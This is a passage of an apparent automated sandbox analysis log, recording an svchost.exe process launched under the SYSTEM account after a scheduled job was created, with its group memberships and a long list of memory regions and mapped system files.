(This=0x56c4466000) returned 0x0 [0021.865] TaskScheduler:IUnknown:Release (This=0x56c4465eb0) returned 0x0 [0021.865] lstrlenW (lpString="") returned 0 [0021.865] exit (_Code=0) Process: id = "5" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x6ecad000" os_pid = "0x330" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "created_scheduled_job" parent_id = "4" os_parent_pid = "0xbc8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MMCSS" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\MsKeyboardFilter" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000aa8b" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 359 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 360 start_va = 0xc0a4e90000 end_va = 0xc0a4e9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a4e90000" filename = "" Region: id = 361 start_va = 0xc0a4ea0000 end_va = 0xc0a4ea6fff entry_point = 0x0 region_type = private name = "private_0x000000c0a4ea0000" filename = "" Region: id = 362 start_va = 0xc0a4eb0000 end_va = 0xc0a4ebefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a4eb0000" filename = "" Region: id = 363 start_va = 0xc0a4ec0000 end_va = 0xc0a4f3ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a4ec0000" filename = "" Region: id = 364 start_va = 0xc0a4f40000 end_va = 0xc0a4f43fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a4f40000" filename = "" Region: id = 365 start_va = 0xc0a4f50000 end_va = 0xc0a4f50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a4f50000" filename = "" Region: id = 366 start_va = 0xc0a4f60000 end_va = 0xc0a4f61fff entry_point = 0x0 region_type = private name = "private_0x000000c0a4f60000" filename = "" Region: id = 367 start_va = 0xc0a4f70000 end_va = 0xc0a4fedfff entry_point = 0xc0a4f70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 368 start_va = 0xc0a4ff0000 end_va = 0xc0a4ff6fff entry_point = 0x0 region_type = private name = "private_0x000000c0a4ff0000" filename = "" Region: id = 369 start_va = 0xc0a5000000 end_va = 0xc0a5002fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a5000000" filename = "" Region: id = 370 start_va = 0xc0a5010000 end_va = 0xc0a5010fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a5010000" filename = "" Region: id = 371 start_va = 0xc0a5020000 end_va = 0xc0a5020fff entry_point = 0x0 region_type = private name = "private_0x000000c0a5020000" filename = "" Region: id = 372 start_va = 0xc0a5030000 end_va = 0xc0a5030fff entry_point = 0x0 region_type = private name = "private_0x000000c0a5030000" filename = "" Region: id = 373 start_va = 0xc0a5040000 end_va = 0xc0a513ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a5040000" filename = "" Region: id = 374 start_va = 0xc0a5140000 end_va = 0xc0a52c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a5140000" filename = "" Region: id = 375 start_va = 0xc0a52d0000 end_va = 0xc0a52d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a52d0000" filename = "" Region: id = 376 start_va = 0xc0a52e0000 end_va = 0xc0a52e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a52e0000" filename = "" Region: id = 377 start_va = 0xc0a52f0000 end_va = 0xc0a52f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a52f0000" filename = "" Region: id = 378 start_va = 0xc0a5300000 end_va = 0xc0a5300fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a5300000" filename = "" Region: id = 379 start_va = 0xc0a5310000 end_va = 0xc0a5312fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a5310000" filename = "" Region: id = 380 start_va = 0xc0a5320000 end_va = 0xc0a532ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a5320000" filename = "" Region: id = 381 start_va = 0xc0a5330000 end_va = 0xc0a54b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a5330000" filename = "" Region: id = 382 start_va = 0xc0a54c0000 end_va = 0xc0a557ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a54c0000" filename = "" Region: id = 383 start_va = 0xc0a5580000 end_va = 0xc0a5979fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a5580000" filename = "" Region: id = 384 start_va = 0xc0a5980000 end_va = 0xc0a59fffff entry_point = 0x0 region_type = private name = "private_0x000000c0a5980000" filename = "" Region: id = 385 start_va = 0xc0a5a00000 end_va = 0xc0a5a7ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a5a00000" filename = "" Region: id = 386 start_va = 0xc0a5a80000 end_va = 0xc0a5d54fff entry_point = 0xc0a5a80000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 387 start_va = 0xc0a5d60000 end_va = 0xc0a5ddffff entry_point = 0x0 region_type = private name = "private_0x000000c0a5d60000" filename = "" Region: id = 388 start_va = 0xc0a5de0000 end_va = 0xc0a5e5ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a5de0000" filename = "" Region: id = 389 start_va = 0xc0a5e60000 end_va = 0xc0a5edffff entry_point = 0x0 region_type = private name = "private_0x000000c0a5e60000" filename = "" Region: id = 390 start_va = 0xc0a5ee0000 end_va = 0xc0a5ee6fff entry_point = 0x0 region_type = private name = "private_0x000000c0a5ee0000" filename = "" Region: id = 391 start_va = 0xc0a5ef0000 end_va = 0xc0a5ef6fff entry_point = 0x0 region_type = private name = "private_0x000000c0a5ef0000" filename = "" Region: id = 392 start_va = 0xc0a5f00000 end_va = 0xc0a5f03fff entry_point = 0xc0a5f00000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 393 start_va = 0xc0a5f10000 end_va = 0xc0a5f13fff entry_point = 0xc0a5f10000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 394 start_va = 0xc0a5f20000 end_va = 0xc0a5f2ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a5f20000" filename = "" Region: id = 395 start_va = 0xc0a5f30000 end_va = 0xc0a5f30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a5f30000" filename = "" Region: id = 396 start_va = 0xc0a5f40000 end_va = 0xc0a5f4ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a5f40000" filename = "" Region: id = 397 start_va = 0xc0a5f50000 end_va = 0xc0a5fcffff entry_point = 0x0 region_type = private name = "private_0x000000c0a5f50000" filename = "" Region: id = 398 start_va = 0xc0a5fd0000 end_va = 0xc0a604ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a5fd0000" filename = "" Region: id = 399 start_va = 0xc0a6050000 end_va = 0xc0a60cffff entry_point = 0x0 region_type = private name = "private_0x000000c0a6050000" filename = "" Region: id = 400 start_va = 0xc0a60d0000 end_va = 0xc0a614ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a60d0000" filename = "" Region: id = 401 start_va = 0xc0a6150000 end_va = 0xc0a61cffff entry_point = 0x0 region_type = private name = "private_0x000000c0a6150000" filename = "" Region: id = 402 start_va = 0xc0a61d0000 end_va = 0xc0a624ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a61d0000" filename = "" Region: id = 403 start_va = 0xc0a6250000 end_va = 0xc0a634ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a6250000" filename = "" Region: id = 404 start_va = 0xc0a6350000 end_va = 0xc0a63cffff entry_point = 0x0 region_type = private name = "private_0x000000c0a6350000" filename = "" Region: id = 405 start_va = 0xc0a63d0000 end_va = 0xc0a644ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a63d0000" filename = "" Region: id = 406 start_va = 0xc0a6450000 end_va = 0xc0a64cffff entry_point = 0x0 region_type = private name = "private_0x000000c0a6450000" filename = "" Region: id = 407 start_va = 0xc0a64d0000 end_va = 0xc0a654ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a64d0000" filename = "" Region: id = 408 start_va = 0xc0a6550000 end_va = 0xc0a65cffff entry_point = 0x0 region_type = private name = "private_0x000000c0a6550000" filename = "" Region: id = 409 start_va = 0xc0a65d0000 end_va = 0xc0a664ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a65d0000" filename = "" Region: id = 410 start_va = 0xc0a6650000 end_va = 0xc0a66cffff entry_point = 0x0 region_type = private name = "private_0x000000c0a6650000" filename = "" Region: id = 411 start_va = 0xc0a66d0000 end_va = 0xc0a674ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a66d0000" filename = "" Region: id = 412 start_va = 0xc0a6750000 end_va = 0xc0a67cffff entry_point = 0x0 region_type = private name = "private_0x000000c0a6750000" filename = "" Region: id = 413 start_va = 0xc0a67d0000 end_va = 0xc0a684ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a67d0000" filename = "" Region: id = 414 start_va = 0xc0a6850000 end_va = 0xc0a68cffff entry_point = 0x0 region_type = private name = "private_0x000000c0a6850000" filename = "" Region: id = 415 start_va = 0xc0a68d0000 end_va = 0xc0a694ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a68d0000" filename = "" Region: id = 416 start_va = 0xc0a6950000 end_va = 0xc0a6a4ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a6950000" filename = "" Region: id = 417 start_va = 0xc0a6a50000 end_va = 0xc0a6a8dfff entry_point = 0xc0a6a50000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000005.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db") Region: id = 418 start_va = 0xc0a6a90000 end_va = 0xc0a6b10fff entry_point = 0xc0a6a90000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 419 start_va = 0xc0a6b20000 end_va = 0xc0a6c1ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a6b20000" filename = "" Region: id = 420 start_va = 0xc0a6c20000 end_va = 0xc0a6c9ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a6c20000" filename = "" Region: id = 421 start_va = 0xc0a6ca0000 end_va = 0xc0a6d1ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a6ca0000" filename = "" Region: id = 422 start_va = 0xc0a6d20000 end_va = 0xc0a6d9ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a6d20000" filename = "" Region: id = 423 start_va = 0xc0a6da0000 end_va = 0xc0a6e1ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a6da0000" filename = "" Region: id = 424 start_va = 0xc0a6e20000 end_va = 0xc0a6e9ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a6e20000" filename = "" Region: id = 425 start_va = 0xc0a6ea0000 end_va = 0xc0a6f1ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a6ea0000" filename = "" Region: id = 426 start_va = 0xc0a6f20000 end_va = 0xc0a6f9ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a6f20000" filename = "" Region: id = 427 start_va = 0xc0a6fa0000 end_va = 0xc0a701ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a6fa0000" filename = "" Region: id = 428 start_va = 0xc0a7020000 end_va = 0xc0a709ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a7020000" filename = "" Region: id = 429 start_va = 0xc0a70a0000 end_va = 0xc0a711ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a70a0000" filename = "" Region: id = 430 start_va = 0xc0a7120000 end_va = 0xc0a719ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a7120000" filename = "" Region: id = 431 start_va = 0xc0a71a0000 end_va = 0xc0a71a0fff entry_point = 0x0 region_type = private name = "private_0x000000c0a71a0000" filename = "" Region: id = 432 start_va = 0xc0a71b0000 end_va = 0xc0a722ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a71b0000" filename = "" Region: id = 433 start_va = 0xc0a7230000 end_va = 0xc0a7230fff entry_point = 0xc0a7230000 region_type = mapped_file name = "activeds.dll.mui" filename = "\\Windows\\System32\\en-US\\activeds.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\activeds.dll.mui") Region: id = 434 start_va = 0xc0a7240000 end_va = 0xc0a7240fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a7240000" filename = "" Region: id = 435 start_va = 0xc0a7250000 end_va = 0xc0a7250fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a7250000" filename = "" Region: id = 436 start_va = 0xc0a7260000 end_va = 0xc0a7260fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a7260000" filename = "" Region: id = 437 start_va = 0xc0a7270000 end_va = 0xc0a7276fff entry_point = 0x0 region_type = private name = "private_0x000000c0a7270000" filename = "" Region: id = 438 start_va = 0xc0a7280000 end_va = 0xc0a7287fff entry_point = 0x0 region_type = private name = "private_0x000000c0a7280000" filename = "" Region: id = 439 start_va = 0xc0a7290000 end_va = 0xc0a730ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a7290000" filename = "" Region: id = 440 start_va = 0xc0a7310000 end_va = 0xc0a7315fff entry_point = 0xc0a7310000 region_type = mapped_file name = "netcfgx.dll.mui" filename = "\\Windows\\System32\\en-US\\netcfgx.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netcfgx.dll.mui") Region: id = 441 start_va = 0xc0a7320000 end_va = 0xc0a7321fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a7320000" filename = "" Region: id = 442 start_va = 0xc0a7330000 end_va = 0xc0a733ffff entry_point = 0xc0a7330000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 443 start_va = 0xc0a7340000 end_va = 0xc0a734ffff entry_point = 0xc0a7340000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 444 start_va = 0xc0a7350000 end_va = 0xc0a735ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a7350000" filename = "" Region: id = 445 start_va = 0xc0a7360000 end_va = 0xc0a736ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a7360000" filename = "" Region: id = 446 start_va = 0xc0a7370000 end_va = 0xc0a756ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a7370000" filename = "" Region: id = 447 start_va = 0xc0a7570000 end_va = 0xc0a75effff entry_point = 0x0 region_type = private name = "private_0x000000c0a7570000" filename = "" Region: id = 448 start_va = 0xc0a75f0000 end_va = 0xc0a766ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a75f0000" filename = "" Region: id = 449 start_va = 0xc0a7670000 end_va = 0xc0a76effff entry_point = 0x0 region_type = private name = "private_0x000000c0a7670000" filename = "" Region: id = 450 start_va = 0xc0a76f0000 end_va = 0xc0a776ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a76f0000" filename = "" Region: id = 451 start_va = 0xc0a7770000 end_va = 0xc0a77effff entry_point = 0x0 region_type = private name = "private_0x000000c0a7770000" filename = "" Region: id = 452 start_va = 0xc0a77f0000 end_va = 0xc0a786ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a77f0000" filename = "" Region: id = 453 start_va = 0xc0a7870000 end_va = 0xc0a78effff entry_point = 0x0 region_type = private name = "private_0x000000c0a7870000" filename = "" Region: id = 454 start_va = 0xc0a78f0000 end_va = 0xc0a796ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a78f0000" filename = "" Region: id = 455 start_va = 0xc0a7970000 end_va = 0xc0a79effff entry_point = 0x0 region_type = private name = "private_0x000000c0a7970000" filename = "" Region: id = 456 start_va = 0xc0a79f0000 end_va = 0xc0a7a6ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a79f0000" filename = "" Region: id = 457 start_va = 0xc0a7a70000 end_va = 0xc0a7aeffff entry_point = 0x0 region_type = private name = "private_0x000000c0a7a70000" filename = "" Region: id = 458 start_va = 0xc0a7af0000 end_va = 0xc0a7b6ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a7af0000" filename = "" Region: id = 459 start_va = 0xc0a7b70000 end_va = 0xc0a7beffff entry_point = 0x0 region_type = private name = "private_0x000000c0a7b70000" filename = "" Region: id = 460 start_va = 0xc0a7bf0000 end_va = 0xc0a7c6ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a7bf0000" filename = "" Region: id = 461 start_va = 0xc0a7c70000 end_va = 0xc0a7ceffff entry_point = 0x0 region_type = private name = "private_0x000000c0a7c70000" filename = "" Region: id = 462 start_va = 0xc0a7cf0000 end_va = 0xc0a7deffff entry_point = 0x0 region_type = private name = "private_0x000000c0a7cf0000" filename = "" Region: id = 463 start_va = 0xc0a7df0000 end_va = 0xc0a7e6ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a7df0000" filename = "" Region: id = 464 start_va = 0xc0a7e70000 end_va = 0xc0a7eeffff entry_point = 0x0 region_type = private name = "private_0x000000c0a7e70000" filename = "" Region: id = 465 start_va = 0xc0a7ef0000 end_va = 0xc0a7f2efff entry_point = 0x0 region_type = private name = "private_0x000000c0a7ef0000" filename = "" Region: id = 466 start_va = 0xc0a7f30000 end_va = 0xc0a7f3ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a7f30000" filename = "" Region: id = 467 start_va = 0xc0a7f40000 end_va = 0xc0a7f4ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a7f40000" filename = "" Region: id = 468 start_va = 0xc0a7f50000 end_va = 0xc0a7f50fff entry_point = 0x0 region_type = private name = "private_0x000000c0a7f50000" filename = "" Region: id = 469 start_va = 0xc0a7f60000 end_va = 0xc0a7f6ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a7f60000" filename = "" Region: id = 470 start_va = 0xc0a7f70000 end_va = 0xc0a806ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a7f70000" filename = "" Region: id = 471 start_va = 0xc0a8070000 end_va = 0xc0a80effff entry_point = 0x0 region_type = private name = "private_0x000000c0a8070000" filename = "" Region: id = 472 start_va = 0xc0a80f0000 end_va = 0xc0a816ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a80f0000" filename = "" Region: id = 473 start_va = 0xc0a8170000 end_va = 0xc0a81effff entry_point = 0x0 region_type = private name = "private_0x000000c0a8170000" filename = "" Region: id = 474 start_va = 0xc0a81f0000 end_va = 0xc0a826ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a81f0000" filename = "" Region: id = 475 start_va = 0xc0a8270000 end_va = 0xc0a82effff entry_point = 0x0 region_type = private name = "private_0x000000c0a8270000" filename = "" Region: id = 476 start_va = 0xc0a82f0000 end_va = 0xc0a836ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a82f0000" filename = "" Region: id = 477 start_va = 0xc0a8370000 end_va = 0xc0a876ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a8370000" filename = "" Region: id = 478 start_va = 0xc0a8770000 end_va = 0xc0a87effff entry_point = 0x0 region_type = private name = "private_0x000000c0a8770000" filename = "" Region: id = 479 start_va = 0xc0a8870000 end_va = 0xc0a8870fff entry_point = 0x0 region_type = private name = "private_0x000000c0a8870000" filename = "" Region: id = 480 start_va = 0xc0a8880000 end_va = 0xc0a888ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a8880000" filename = "" Region: id = 481 start_va = 0xc0a8910000 end_va = 0xc0a8a0ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a8910000" filename = "" Region: id = 482 start_va = 0xc0a8a10000 end_va = 0xc0a8a8ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a8a10000" filename = "" Region: id = 483 start_va = 0xc0a8a90000 end_va = 0xc0a8b0ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a8a90000" filename = "" Region: id = 484 start_va = 0xc0a8b10000 end_va = 0xc0a8b8ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a8b10000" filename = "" Region: id = 485 start_va = 0xc0a8b90000 end_va = 0xc0a8c0ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a8b90000" filename = "" Region: id = 486 start_va = 0xc0a8c10000 end_va = 0xc0a8c8ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a8c10000" filename = "" Region: id = 487 start_va = 0xc0a8c90000 end_va = 0xc0a8c93fff entry_point = 0x0 region_type = private name = "private_0x000000c0a8c90000" filename = "" Region: id = 488 start_va = 0xc0a8ca0000 end_va = 0xc0a8ca1fff entry_point = 0x0 region_type = private name = "private_0x000000c0a8ca0000" filename = "" Region: id = 489 start_va = 0xc0a8cb0000 end_va = 0xc0a8de7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a8cb0000" filename = "" Region: id = 490 start_va = 0xc0a8df0000 end_va = 0xc0a8e6ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a8df0000" filename = "" Region: id = 491 start_va = 0xc0a8e70000 end_va = 0xc0a8eeffff entry_point = 0x0 region_type = private name = "private_0x000000c0a8e70000" filename = "" Region: id = 492 start_va = 0xc0a8ef0000 end_va = 0xc0a8ef0fff entry_point = 0x0 region_type = private name = "private_0x000000c0a8ef0000" filename = "" Region: id = 493 start_va = 0xc0a8f00000 end_va = 0xc0a8f0ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a8f00000" filename = "" Region: id = 494 start_va = 0xc0a8f10000 end_va = 0xc0a8f17fff entry_point = 0x0 region_type = private name = "private_0x000000c0a8f10000" filename = "" Region: id = 495 start_va = 0xc0a8f20000 end_va = 0xc0a8f2ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a8f20000" filename = "" Region: id = 496 start_va = 0xc0a8f30000 end_va = 0xc0a902ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a8f30000" filename = "" Region: id = 497 start_va = 0xc0a9030000 end_va = 0xc0a90affff entry_point = 0x0 region_type = private name = "private_0x000000c0a9030000" filename = "" Region: id = 498 start_va = 0xc0a9130000 end_va = 0xc0a91affff entry_point = 0x0 region_type = private name = "private_0x000000c0a9130000" filename = "" Region: id = 499 start_va = 0xc0a91b0000 end_va = 0xc0a92affff entry_point = 0x0 region_type = private name = "private_0x000000c0a91b0000" filename = "" Region: id = 500 start_va = 0xc0a92b0000 end_va = 0xc0a93affff entry_point = 0x0 region_type = private name = "private_0x000000c0a92b0000" filename = "" Region: id = 501 start_va = 0xc0a93b0000 end_va = 0xc0a94affff entry_point = 0x0 region_type = private name = "private_0x000000c0a93b0000" filename = "" Region: id = 502 start_va = 0xc0a94b0000 end_va = 0xc0a95affff entry_point = 0x0 region_type = private name = "private_0x000000c0a94b0000" filename = "" Region: id = 503 start_va = 0xc0a95b0000 end_va = 0xc0a96affff entry_point = 0x0 region_type = private name = "private_0x000000c0a95b0000" filename = "" Region: id = 504 start_va = 0xc0a96b0000 end_va = 0xc0a972ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a96b0000" filename = "" Region: id = 505 start_va = 0xc0a9730000 end_va = 0xc0a973ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a9730000" filename = "" Region: id = 506 start_va = 0xc0a9740000 end_va = 0xc0a974ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a9740000" filename = "" Region: id = 507 start_va = 0xc0a9750000 end_va = 0xc0a975ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a9750000" filename = "" Region: id = 508 start_va = 0xc0a9760000 end_va = 0xc0a976ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a9760000" filename = "" Region: id = 509 start_va = 0xc0a9770000 end_va = 0xc0a977ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a9770000" filename = "" Region: id = 510 start_va = 0xc0a9780000 end_va = 0xc0a978ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a9780000" filename = "" Region: id = 511 start_va = 0xc0a9790000 end_va = 0xc0a980ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a9790000" filename = "" Region: id = 512 start_va = 0xc0a9810000 end_va = 0xc0a985bfff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a9810000" filename = "" Region: id = 513 start_va = 0xc0a9860000 end_va = 0xc0a98abfff entry_point = 0x0 region_type = private name = "private_0x000000c0a9860000" filename = "" Region: id = 514 start_va = 0xc0a98b0000 end_va = 0xc0a98bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a98b0000" filename = "" Region: id = 515 start_va = 0xc0a98c0000 end_va = 0xc0a98cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a98c0000" filename = "" Region: id = 516 start_va = 0xc0a98d0000 end_va = 0xc0a98dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a98d0000" filename = "" Region: id = 517 start_va = 0xc0a98e0000 end_va = 0xc0a98effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a98e0000" filename = "" Region: id = 518 start_va = 0xc0a98f0000 end_va = 0xc0a98fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a98f0000" filename = "" Region: id = 519 start_va = 0xc0a9900000 end_va = 0xc0a990ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c0a9900000" filename = "" Region: id = 520 start_va = 0xc0a9910000 end_va = 0xc0aa90ffff entry_point = 0x0 region_type = private name = "private_0x000000c0a9910000" filename = "" Region: id = 521 start_va = 0xc0aa910000 end_va = 0xc0aa93ffff entry_point = 0x0 region_type = private name = "private_0x000000c0aa910000" filename = "" Region: id = 522 start_va = 0xc0aa940000 end_va = 0xc0ae93ffff entry_point = 0x0 region_type = private name = "private_0x000000c0aa940000" filename = "" Region: id = 523 start_va = 0xc0ae940000 end_va = 0xc0b293ffff entry_point = 0x0 region_type = private name = "private_0x000000c0ae940000" filename = "" Region: id = 524 start_va = 0xc0b2940000 end_va = 0xc0b294ffff entry_point = 0xc0b2940000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 525 start_va = 0xc0b2950000 end_va = 0xc0b29cffff entry_point = 0x0 region_type = private name = "private_0x000000c0b2950000" filename = "" Region: id = 526 start_va = 0xc0b29d0000 end_va = 0xc0b29dffff entry_point = 0x0 region_type = private name = "private_0x000000c0b29d0000" filename = "" Region: id = 527 start_va = 0xc0b29e0000 end_va = 0xc0b29effff entry_point = 0x0 region_type = private name = "private_0x000000c0b29e0000" filename = "" Region: id = 528 start_va = 0xc0b29f0000 end_va = 0xc0b29fffff entry_point = 0x0 region_type = private name = "private_0x000000c0b29f0000" filename = "" Region: id = 529 start_va = 0xc0b2a00000 end_va = 0xc0b2a0ffff entry_point = 0x0 region_type = private name = "private_0x000000c0b2a00000" filename = "" 